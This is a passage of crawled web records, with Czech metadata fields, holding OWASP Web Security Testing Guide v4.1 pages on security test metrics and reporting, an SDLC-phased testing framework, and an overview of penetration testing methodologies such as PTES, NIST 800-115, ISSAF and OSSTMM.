deployed into production.\n\nAnother manageable goal could be to compare the application security posture against a baseline to assess improvements in application security processes. For example, the security metrics baseline might consist of an application that was tested only with penetration tests. The security data obtained from an application that was also security tested during coding should show an improvement (e.g., fewer number of vulnerabilities) when compared with the baseline.\n\nIn traditional software testing, the number of software defects, such as the bugs found in an application, could provide a measure of software quality. Similarly, security testing can provide a measure of software security. From the defect management and reporting perspective, software quality and security testing can use similar categorizations for root causes and defect remediation efforts. From the root cause perspective, a security defect can be due to an error in design (e.g., security flaws) or due to an error in coding (e.g., security bug). From the perspective of the effort required to fix a defect, both security and quality defects can be measured in terms of developer hours to implement the fix, the tools and resources required, and the cost to implement the fix.\n\nA characteristic of security test data, compared to quality data, is the categorization in terms of the threat, the exposure of the vulnerability, and the potential impact posed by the vulnerability to determine the risk. Testing applications for security consists of managing technical risks to make sure that the application countermeasures meet acceptable levels. For this reason, security testing data needs to support the security risk strategy at critical checkpoints during the SDLC. For example, vulnerabilities found in source code with source code analysis represent an initial measure of risk. A measure of risk (e.g., high, medium, low) for the vulnerability can be calculated by determining the exposure and likelihood factors, and by validating the vulnerability with penetration tests. The risk metrics associated to vulnerabilities found with security tests empower business management to make risk management decisions, such as to decide whether risks can be accepted, mitigated, or transferred at different levels within the organization (e.g., business as well as technical risks).\n\nWhen evaluating the security posture of an application, it is important to take into consideration certain factors, such as the size of the application being developed. Application size has been statistically proven to be related to the number of issues found in the application during testing. Since testing reduces issues, it is logical for larger size applications to be tested more often than smaller size applications.\n\nWhen security testing is done in several phases of the SDLC, the test data can prove the capability of the security tests in detecting vulnerabilities as soon as they are introduced. The test data can also prove the effectiveness of removing the vulnerabilities by implementing countermeasures at different checkpoints of the SDLC. A measurement of this type is also defined as “containment metrics” and provides a measure of the ability of a security assessment performed at each phase of the development process to maintain security within each phase. These containment metrics are also a critical factor in lowering the cost of fixing the vulnerabilities. It is less expensive to deal with vulnerabilities in the same phase of the SDLC that they are found, rather then fixing them later in another phase.\n\nSecurity test metrics can support security risk, cost, and defect management analysis when they are associated with tangible and timed goals such as:\n\n- Reducing the overall number of vulnerabilities by 30%.\n- Fixing security issues by a certain deadline (e.g., before beta release).\n\nSecurity test data can be absolute, such as the number of vulnerabilities detected during manual code review, as well as comparative, such as the number of vulnerabilities detected in code reviews compared to penetration tests. To answer questions about the quality of the security process, it is important to determine a baseline for what could be considered acceptable and good.\n\nSecurity test data can also support specific objectives of the security analysis. These objectives could be compliance with security regulations and information security standards, management of security processes, the identification of security root causes and process improvements, and security cost benefit analysis.\n\nWhen security test data is reported, it has to provide metrics to support the analysis. The scope of the analysis is the interpretation of test data to find clues about the security of the software being produced, as well as the effectiveness of the process.\n\nSome examples of clues supported by security test data can be:\n\n- Are vulnerabilities reduced to an acceptable level for release?\n- How does the security quality of this product compare with similar software products?\n- Are all security test requirements being met?\n- What are the major root causes of security issues?\n- How numerous are security flaws compared to security bugs?\n- Which security activity is most effective in finding vulnerabilities?\n- Which team is more productive in fixing security defects and vulnerabilities?\n- What percentage of overall vulnerabilities are high risk?\n- Which tools are most effective in detecting security vulnerabilities?\n- What kind of security tests are most effective in finding vulnerabilities (e.g., white-box vs. black-box) tests?\n- How many security issues are found during secure code reviews?\n- How many security issues are found during secure design reviews?\n\nIn order to make a sound judgment using the testing data, it is important to have a good understanding of the testing process as well as the testing tools. A tool taxonomy should be adopted to decide which security tools to use. Security tools can be qualified as being good at finding common, known vulnerabilities, when targeting different artifacts.\n\nIt is important to note that unknown security issues are not tested. The fact that a security test is clear of issues does not mean that the software or application is good.\n\nEven the most sophisticated automation tools are not a match for an experienced security tester. Just relying on successful test results from automated tools will give security practitioners a false sense of security. Typically, the more experienced the security testers are with the security testing methodology and testing tools, the better the results of the security test and analysis will be. It is important that managers making an investment in security testing tools also consider an investment in hiring skilled human resources, as well as security test training.\n\n### Reporting Requirements\n\nThe security posture of an application can be characterized from the perspective of the effect, such as number of vulnerabilities and the risk rating of the vulnerabilities, as well as from the perspective of the cause or origin, such as coding errors, architectural flaws, and configuration issues.\n\nVulnerabilities can be classified according to different criteria. The most commonly used vulnerability severity metric is the [Common Vulnerability Scoring System](https://www.first.org/cvss/) (CVSS), a standard maintained by the Forum of Incident Response and Security Teams (FIRST).\n\nWhen reporting security test data, the best practice is to include the following information:\n\n- a categorization of each vulnerability by type;\n- the security threat that each issue is exposed to;\n- the root cause of each security issue, such as the bug or flaw;\n- each testing technique used to find the issues;\n- the remediation, or countermeasure, for each vulnerability; and\n- the severity rating of each vulnerability (e.g., high, medium, low, or CVSS score).\n\nBy describing what the security threat is, it will be possible to understand if and why the mitigation control is ineffective in mitigating the threat.\n\nReporting the root cause of the issue can help pinpoint what needs to be fixed. In the case of white-box testing, for example, the software security root cause of the vulnerability will be the offending source code.\n\nOnce issues are reported, it is also important to provide guidance to the software developer on how to re-test and find the vulnerability. This might involve using a white-box testing technique (e.g., security code review with a static code analyzer) to find if the code is vulnerable. If a vulnerability can be found via a black-box penetration test, the test report also needs to provide information on how to validate the exposure of the vulnerability to the front end (e.g., client).\n\nThe information about how to fix the vulnerability should be detailed enough for a developer to implement a fix. It should provide secure coding examples, configuration changes, and provide adequate references.\n\nFinally, the severity rating contributes to the calculation of risk rating and helps to prioritize the remediation effort. Typically, assigning a risk rating to the vulnerability involves external risk analysis based upon factors such as impact and exposure.\n\n### Business Cases\n\nFor the security test metrics to be useful, they need to provide value back to the organization’s security test data stakeholders. The stakeholders can include project managers, developers, information security offices, auditors, and chief information officers. The value can be in terms of the business case that each project stakeholder has, in terms of role and responsibility.\n\nSoftware developers look at security test data to show that software is coded securely and efficiently. This allows them to make the case for using source code analysis tools, following secure coding standards, and attending software security training.\n\nProject managers look for data that allows them to successfully manage and utilize security testing activities and resources according to the project plan. To project managers, security test data can show that projects are on schedule and moving on target for delivery dates, and are getting better during tests.\n\nSecurity test data also helps the business case for security testing if the initiative comes from information security officers (ISOs). For example, it can provide evidence that security testing during the SDLC does not impact the project delivery, but rather reduces the overall workload needed to address vulnerabilities later in production.\n\nTo compliance auditors, security test metrics provide a level of software security assurance and confidence that security standard compliance is addressed through the security review processes within the organization.\n\nFinally, Chief Information Officers (CIOs), and Chief Information Security Officers (CISOs), who are responsible for the budget that needs to be allocated in security resources, look for derivation of a cost-benefit analysis from security test data. This allows them to make informed decisions about which security activities and tools to invest in. One of the metrics that supports such analysis is the Return On Investment (ROI) in security. To derive such metrics from security test data, it is important to quantify the differential between the risk, due to the exposure of vulnerabilities, and the effectiveness of the security tests in mitigating the security risk, then factor this gap with the cost of the security testing activity or the testing tools adopted.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 85662, "slov": 12918, "odkazu": 199, "kodovani": "windows-1250", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:41", "sha256": "d5c54ad63208555fd63e6e980467dc4a64ce2676ae24a2d062fa0a0890a64ba3", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://isbnsearch.org/isbn/9780131717114", "https://en.wikiquote.org/wiki/Tom_DeMarco", "https://www.nist.gov/director/planning/upload/report02-3.pdf", "https://www.cl.cam.ac.uk/~rja14/econsec.html", "https://www.fnf.com/", "https://www.schneier.com/crypto-gram/archives/2000/0915.html", "https://www.symantec.com/security-center/threat-report", "https://www.opensamm.org/", "https://www.ftc.gov/tips-advice/business-center/privacy-and-security/gramm-leach-bliley-act", "https://leginfo.legislature.ca.gov/faces/billTextClient.xhtml?bill_id=200120020SB1386", "https://ec.europa.eu/info/policies/justice-and-fundamental-rights_en", "https://csrc.nist.gov/publications/detail/sp/800-30/rev-1/final", "https://ia600903.us.archive.org/11/items/pdfy-Qf4sZZSmHKQlHFfw/p761-thompson.pdf", "https://wiki.owasp.org/index.php/Category:OWASP_Code_Review_Project", "https://www.garymcgraw.com/wp-content/uploads/2015/11/bsi6-pentest.pdf", "https://www.fdic.gov/news/news/financial/2011/fil11050.html", "https://www.pcisecuritystandards.org/pci_security/", "https://github.com/OWASP/wstg/tree/master/checklist", "https://en.wikipedia.org/wiki/STRIDE_(security)", "https://folk.uio.no/nik/2001/21-sindre.pdf", "https://iacis.org/iis/2006/Damodaran.pdf", "https://www.first.org/cvss/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/3-The_OWASP_Testing_Framework/", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/3-The_OWASP_Testing_Framework/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/3-The_OWASP_Testing_Framework/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "The OWASP Testing Framework"}], "markdown": "# WSTG - v4.1\n\n# The OWASP Testing Framework\n\n3.1 [The Web Security Testing Framework](/www-project-web-security-testing-guide/v41/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework)\n\n3.2 [Phase 1 Before Development Begins](/www-project-web-security-testing-guide/v41/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework#phase-1-before-development-begins)\n\n3.3 [Phase 2 During Definition and Design](/www-project-web-security-testing-guide/v41/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework#phase-2-during-definition-and-design)\n\n3.4 [Phase 3 During Development](/www-project-web-security-testing-guide/v41/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework#phase-3-during-development)\n\n3.5 [Phase 4 During Deployment](/www-project-web-security-testing-guide/v41/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework#phase-4-during-deployment)\n\n3.6 [Phase 5 During Maintenance and Operations](/www-project-web-security-testing-guide/v41/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework#phase-5-during-maintenance-and-operations)\n\n3.7 [A Typical SDLC Testing Workflow](/www-project-web-security-testing-guide/v41/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework#a-typical-sdlc-testing-workflow)\n\n3.8 [Penetration Testing Methodologies](/www-project-web-security-testing-guide/v41/3-The_OWASP_Testing_Framework/1-Penetration_Testing_Methodologies)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1538, "slov": 140, "odkazu": 175, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:34", "sha256": "e694f201333eeeac5ae21bc1f11cd32d4748210ceb716ce550b8bb1ee67b7d30", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "The Web Security Testing Framework"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Phase 1 Before Development Begins"}, {"uroven": 3, "text": "Phase 1.1 Define a SDLC"}, {"uroven": 3, "text": "Phase 1.2 Review Policies and Standards"}, {"uroven": 3, "text": "Phase 1.3 Develop Measurement and Metrics Criteria and Ensure Traceability"}, {"uroven": 2, "text": "Phase 2 During Definition and Design"}, {"uroven": 3, "text": "Phase 2.1 Review Security Requirements"}, {"uroven": 3, "text": "Phase 2.2 Review Design and Architecture"}, {"uroven": 3, "text": "Phase 2.3 Create and Review UML Models"}, {"uroven": 3, "text": "Phase 2.4 Create and Review Threat Models"}, {"uroven": 2, "text": "Phase 3 During Development"}, {"uroven": 3, "text": "Phase 3.1 Code Walk Through"}, {"uroven": 3, "text": "Phase 3.2 Code Reviews"}, {"uroven": 2, "text": "Phase 4 During Deployment"}, {"uroven": 3, "text": "Phase 4.1 Application Penetration Testing"}, {"uroven": 3, "text": "Phase 4.2 Configuration Management Testing"}, {"uroven": 2, "text": "Phase 5 During Maintenance and Operations"}, {"uroven": 3, "text": "Phase 5.1 Conduct Operational Management Reviews"}, {"uroven": 3, "text": "Phase 5.2 Conduct Periodic Health Checks"}, {"uroven": 3, "text": "Phase 5.3 Ensure Change Verification"}, {"uroven": 2, "text": "A Typical SDLC Testing Workflow"}], "markdown": "# WSTG - v4.1\n\n# The Web Security Testing Framework\n\n## Overview\n\nThis section describes a typical testing framework that can be developed within an organization. It can be seen as a reference framework comprised of techniques and tasks that are appropriate at various phases of the software development life cycle (SDLC). Companies and project teams can use this model to develop their own testing framework, and to scope testing services from vendors. This framework should not be seen as prescriptive, but as a flexible approach that can be extended and molded to fit an organization’s development process and culture.\n\nThis section aims to help organizations build a complete strategic testing process, and is not aimed at consultants or contractors who tend to be engaged in more tactical, specific areas of testing.\n\nIt is critical to understand why building an end-to-end testing framework is crucial to assessing and improving software security. In *Writing Secure Code*, Howard and LeBlanc note that issuing a security bulletin costs Microsoft at least $100,000, and it costs their customers collectively far more than that to implement the security patches. They also note that the US government’s [CyberCrime web site](https://www.justice.gov/criminal-ccips) details recent criminal cases and the loss to organizations. Typical losses far exceed USD $100,000.\n\nWith economics like this, it is little wonder why software vendors move from solely performing black-box security testing, which can only be performed on applications that have already been developed, to concentrating on testing in the early cycles of application development, such as during definition, design, and development.\n\nMany security practitioners still see security testing in the realm of penetration testing. As discussed in the previous chapter, while penetration testing has a role to play, it is generally inefficient at finding bugs and relies excessively on the skill of the tester. It should only be considered as an implementation technique, or to raise awareness of production issues. To improve the security of applications, the security quality of the software must be improved. That means testing security during the definition, design, development, deployment, and maintenance stages, and not relying on the costly strategy of waiting until code is completely built.\n\nAs discussed in the introduction of this document, there are many development methodologies, such as the Rational Unified Process, eXtreme and Agile development, and traditional waterfall methodologies. The intent of this guide is to suggest neither a particular development methodology, nor provide specific guidance that adheres to any particular methodology. Instead, we are presenting a generic development model, and the reader should follow it according to their company process.\n\nThis testing framework consists of activities that should take place:\n\n- Before development begins,\n- During definition and design,\n- During development,\n- During deployment, and\n- During maintenance and operations.\n\n## Phase 1 Before Development Begins\n\n### Phase 1.1 Define a SDLC\n\nBefore application development starts, an adequate SDLC must be defined where security is inherent at each stage.\n\n### Phase 1.2 Review Policies and Standards\n\nEnsure that there are appropriate policies, standards, and documentation in place. Documentation is extremely important as it gives development teams guidelines and policies that they can follow. People can only do the right thing if they know what the right thing is.\n\nIf the application is to be developed in Java, it is essential that there is a Java secure coding standard. If the application is to use cryptography, it is essential that there is a cryptography standard. No policies or standards can cover every situation that the development team will face. By documenting the common and predictable issues, there will be fewer decisions that need to be made during the development process.\n\n### Phase 1.3 Develop Measurement and Metrics Criteria and Ensure Traceability\n\nBefore development begins, plan the measurement program. By defining criteria that need to be measured, it provides visibility into defects in both the process and product. It is essential to define the metrics before development begins, as there may be a need to modify the process in order to capture the data.\n\n## Phase 2 During Definition and Design\n\n### Phase 2.1 Review Security Requirements\n\nSecurity requirements define how an application works from a security perspective. It is essential that the security requirements are tested. Testing in this case means testing the assumptions that are made in the requirements and testing to see if there are gaps in the requirements definitions.\n\nFor example, if there is a security requirement that states that users must be registered before they can get access to the whitepapers section of a website, does this mean that the user must be registered with the system or should the user be authenticated? Ensure that requirements are as unambiguous as possible.\n\nWhen looking for requirements gaps, consider looking at security mechanisms such as:\n\n- User management\n- Authentication\n- Authorization\n- Data confidentiality\n- Integrity\n- Accountability\n- Session management\n- Transport security\n- Tiered system segregation\n- Legislative and standards compliance (including privacy, government, and industry standards)\n\n### Phase 2.2 Review Design and Architecture\n\nApplications should have a documented design and architecture. This documentation can include models, textual documents, and other similar artifacts. It is essential to test these artifacts to ensure that the design and architecture enforce the appropriate level of security as defined in the requirements.\n\nIdentifying security flaws in the design phase is not only one of the most cost-efficient places to identify flaws, but can be one of the most effective places to make changes. For example, if it is identified that the design calls for authorization decisions to be made in multiple places, it may be appropriate to consider a central authorization component. If the application is performing data validation at multiple places, it may be appropriate to develop a central validation framework (ie, fixing input validation in one place, rather than in hundreds of places, is far cheaper).\n\nIf weaknesses are discovered, they should be given to the system architect for alternative approaches.\n\n### Phase 2.3 Create and Review UML Models\n\nOnce the design and architecture is complete, build Unified Modeling Language (UML) models that describe how the application works. In some cases, these may already be available. Use these models to confirm with the systems designers an exact understanding of how the application works. If weaknesses are discovered, they should be given to the system architect for alternative approaches.\n\n### Phase 2.4 Create and Review Threat Models\n\nArmed with design and architecture reviews and the UML models explaining exactly how the system works, undertake a threat modeling exercise. Develop realistic threat scenarios. Analyze the design and architecture to ensure that these threats have been mitigated, accepted by the business, or assigned to a third party, such as an insurance firm. When identified threats have no mitigation strategies, revisit the design and architecture with the systems architect to modify the design.\n\n## Phase 3 During Development\n\nTheoretically, development is the implementation of a design. However, in the real world, many design decisions are made during code development. These are often smaller decisions that were either too detailed to be described in the design, or issues where no policy or standard guidance was offered. If the design and architecture were not adequate, the developer will be faced with many decisions. If there were insufficient policies and standards, the developer will be faced with even more decisions.\n\n### Phase 3.1 Code Walk Through\n\nThe security team should perform a code walk through with the developers, and in some cases, the system architects. A code walk through is a high-level walk through of the code where the developers can explain the logic and flow of the implemented code. It allows the code review team to obtain a general understanding of the code, and allows the developers to explain why certain things were developed the way they were.\n\nThe purpose is not to perform a code review, but to understand at a high level the flow, the layout, and the structure of the code that makes up the application.\n\n### Phase 3.2 Code Reviews\n\nArmed with a good understanding of how the code is structured and why certain things were coded the way they were, the tester can now examine the actual code for security defects.\n\nStatic code reviews validate the code against a set of checklists, including:\n\n- Business requirements for availability, confidentiality, and integrity;\n- OWASP Guide or Top 10 Checklists for technical exposures (depending on the depth of the review);\n- Specific issues relating to the language or framework in use, such as the Scarlet paper for PHP or [Microsoft Secure Coding checklists for ASP.NET](https://msdn.microsoft.com/en-us/library/ff648269.aspx) ; and\n- Any industry-specific requirements, such as Sarbanes-Oxley 404, COPPA, ISO/IEC 27002, APRA, HIPAA, Visa Merchant guidelines, or other regulatory regimes.\n\nIn terms of return on resources invested (mostly time), static code reviews produce far higher quality returns than any other security review method and rely least on the skill of the reviewer. However, they are not a silver bullet and need to be considered carefully within a full-spectrum testing regime.\n\nFor more details on OWASP checklists, please refer to the latest edition of the [OWASP Top 10](https://owasp.org/www-project-top-ten/).\n\n## Phase 4 During Deployment\n\n### Phase 4.1 Application Penetration Testing\n\nHaving tested the requirements, analyzed the design, and performed code review, it might be assumed that all issues have been caught. Hopefully this is the case, but penetration testing the application after it has been deployed provides an additional check to ensure that nothing has been missed.\n\n### Phase 4.2 Configuration Management Testing\n\nThe application penetration test should include an examination of how the infrastructure was deployed and secured. It is important to review configuration aspects, no matter how small, to ensure that none are left at a default setting that may be vulnerable to exploitation.\n\n## Phase 5 During Maintenance and Operations\n\n### Phase 5.1 Conduct Operational Management Reviews\n\nThere needs to be a process in place which details how the operational side of both the application and infrastructure is managed.\n\n### Phase 5.2 Conduct Periodic Health Checks\n\nMonthly or quarterly health checks should be performed on both the application and infrastructure to ensure no new security risks have been introduced and that the level of security is still intact.\n\n### Phase 5.3 Ensure Change Verification\n\nAfter every change has been approved and tested in the QA environment and deployed into the production environment, it is vital that the change is checked to ensure that the level of security has not been affected by the change. This should be integrated into the change management process.\n\n## A Typical SDLC Testing Workflow\n\nThe following figure shows a typical SDLC Testing Workflow.\n\n*Figure 3-1: Typical SDLC testing workflow*\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 11495, "slov": 1753, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:42", "sha256": "5f5d973112525c627e9809ecf4c3cd85c3348d066dbf2dcc0c35c860d6893425", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.justice.gov/criminal-ccips", "https://msdn.microsoft.com/en-us/library/ff648269.aspx", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/3-The_OWASP_Testing_Framework/1-Penetration_Testing_Methodologies", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/3-The_OWASP_Testing_Framework/1-Penetration_Testing_Methodologies", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/3-The_OWASP_Testing_Framework/1-Penetration_Testing_Methodologies", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Penetration Testing Methodologies"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Penetration Testing Execution Standard (PTES)"}, {"uroven": 2, "text": "PCI Penetration Testing Guide"}, {"uroven": 3, "text": "PCI DSS Penetration Testing Guidance"}, {"uroven": 3, "text": "PCI DSS Penetration Testing Requirements"}, {"uroven": 2, "text": "Penetration Testing Framework"}, {"uroven": 2, "text": "Technical Guide to Information Security Testing and Assessment (NIST800-115)"}, {"uroven": 2, "text": "Information Systems Security Assessment Framework (ISSAF)"}, {"uroven": 2, "text": "Open Source Security Testing Methodology Manual (OSSTMM)"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.1\n\n# Penetration Testing Methodologies\n\n## Summary\n\n- OWASP Testing Guide\n- PCI Penetration Testing Guide\n- Penetration Testing Execution Standard\n- NIST 800-115\n- Penetration Testing Framework\n- Information Systems Security Assessment Framework (ISSAF)\n- Open Source Security Testing Methodology Manual (OSSTMM)\n\n## Penetration Testing Execution Standard (PTES)\n\nPTES defines penetration testing as 7 phases.\n\n- Pre-engagement Interactions\n- Intelligence Gathering\n- Threat Modeling\n- Vulnerability Analysis\n- Exploitation\n- Post Exploitation\n- Reporting\n\nInstead of simply methodology or process, PTES also provides hands-on technical guidelines for what/how to test, rationale of testing and recommended testing tools and usage.\n\n[PTES Technical Guidelines](http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines)\n\n## PCI Penetration Testing Guide\n\nPayment Card Industry Data Security Standard (PCI DSS) Requirement 11.3 defines the penetration testing. PCI also defines Penetration Testing Guidance.\n\n### PCI DSS Penetration Testing Guidance\n\nThe PCI DSS Penetration testing guideline provides a very good reference of the following area while it’s not a hands-on technical guideline to introduce testing tools.\n\n- Penetration Testing Components\n- Qualifications of a Penetration Tester\n- Penetration Testing Methodologies\n- Penetration Testing Reporting Guidelines\n\n### PCI DSS Penetration Testing Requirements\n\nThe PCI DSS requirement refer to Payment Card Industry Data Security Standard (PCI DSS) Requirement 11.3\n\n- Based on industry-accepted approaches\n- Coverage for CDE and critical systems\n- Includes external and internal testing\n- Test to validate scope reduction\n- Application-layer testing\n- Network-layer tests for network and OS\n\n## Penetration Testing Framework\n\nThe Penetration testing framework provides very comprehensive hands-on penetration testing guide. It also list usage of the testing tools in each testing category. The major area of penetration testing includes -\n\n- Network Footprinting (Reconnaissance)\n- Discovery & Probing\n- Enumeration\n- Password cracking\n- Vulnerability Assessment\n- AS/400 Auditing\n- Bluetooth Specific Testing\n- Cisco Specific Testing\n- Citrix Specific Testing\n- Network Backbone\n- Server Specific Tests\n- VoIP Security\n- Wireless Penetration\n- Physical Security\n- Final Report - template\n\n[Penetration Testing Framework](http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html)\n\n## Technical Guide to Information Security Testing and Assessment (NIST800-115)\n\n## Information Systems Security Assessment Framework (ISSAF)\n\nThe ISSAF is a very good reference source of penetration testing though Information Systems Security Assessment Framework (ISSAF) is not an active community. It provides comprehensive penetration testing technical guidance. It covers the area below.\n\n- Project Management\n- Guidelines And Best Practices - Pre-Assessment, Assessment And Post Assessment\n- Assessment Methodology\n- Review Of Information Security Policy And Security Organization\n- Evaluation Of Risk Assessment Methodology\n- Technical Control Assessment\n- Technical Control Assessment - Methodology\n- Password Security\n- Password Cracking Strategies\n- Unix /Linux System Security Assessment\n- Windows System Security Assessment\n- Novell Netware Security Assessment\n- Database Security Assessment\n- Wireless Security Assessment\n- Switch Security Assessment\n- Router Security Assessment\n- Firewall Security Assessment\n- Intrusion Detection System Security Assessment\n- VPN Security Assessment\n- Anti-Virus System Security Assessment And Management Strategy\n- Web Application Security Assessment\n- Storage Area Network (SAN) Security\n- Internet User Security\n- As 400 Security\n- Source Code Auditing\n- Binary Auditing\n- Social Engineering\n- Physical Security Assessment\n- Incident Analysis\n- Review Of Logging / Monitoring & Auditing Processes\n- Business Continuity Planning And Disaster Recovery\n- Security Awareness And Training\n- Outsourcing Security Concerns\n- Knowledge Base\n- Legal Aspects Of Security Assessment Projects\n- Non-Disclosure Agreement (NDA)\n- Security Assessment Contract\n- Request For Proposal Template\n- Desktop Security Check-List - Windows\n- Linux Security Check-List\n- Solaris Operating System Security Check-List\n- Default Ports - Firewall\n- Default Ports - IDS/IPS\n- Links\n- Penetration Testing Lab Design\n\n## Open Source Security Testing Methodology Manual (OSSTMM)\n\nOSSTMM is a methodology to test the operational security of physical locations, workflow, human security testing, physical security testing, wireless security testing, telecommunication security testing, data networks security testing and compliance. OSSTMM can be supporting reference of IOS 27001 instead of a hands-on penetration testing guide.\n\nOSSTMM includes the following key sections:\n\n- Operational Security Metrics\n- Trust Analysis\n- Work Flow.\n- Human Security Testing\n- Physical Security Testing\n- Wireless Security Testing\n- Telecommunications Security Testing\n- Data Networks Security Testing\n- Compliance Regulations\n- Reporting with the STAR (Security Test Audit Report)\n\n## References\n\n- [PCI Data Security Standard - Penetration TestingGuidance](https://www.pcisecuritystandards.org/documents/Penetration-Testing-Guidance-v1_1.pdf)\n- [Pentest Standard](http://www.pentest-standard.org/index.php/Main_Page)\n- [Open Source Security Testing Methodology Manual (OSSTMM)](http://www.isecom.org/research/osstmm.html)\n- [NIST - SP 800-115](https://csrc.nist.gov/publications/detail/sp/800-115/final)\n- [HIPAA 2012](http://csrc.nist.gov/news_events/hiipaa_june2012/day2/day2-6_kscarfone-rmetzer_security-testing-assessment.pdf)\n- [Penetration Testing Framework 0.59](http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html)\n- [OWASP Mobile Security Testing Guide](https://owasp.org/www-project-mobile-security-testing-guide/)\n- [Security Testing Guidelines for Mobile Apps](https://owasp.org/www-pdf-archive/Security_Testing_Guidelines_for_mobile_Apps_-_Florian_Stahl%2BJohannes_Stroeher.pdf)\n- [Kali](https://www.kali.org/)\n- [ISSTF](https://sourceforge.net/projects/isstf/files/issaf%20document/issaf0.1/)\n- [Information Supplement: Requirement 11.3 Penetration Testing](https://www.pcisecuritystandards.org/pdfs/infosupp_11_3_penetration_testing.pdf)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6256, "slov": 671, "odkazu": 187, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": 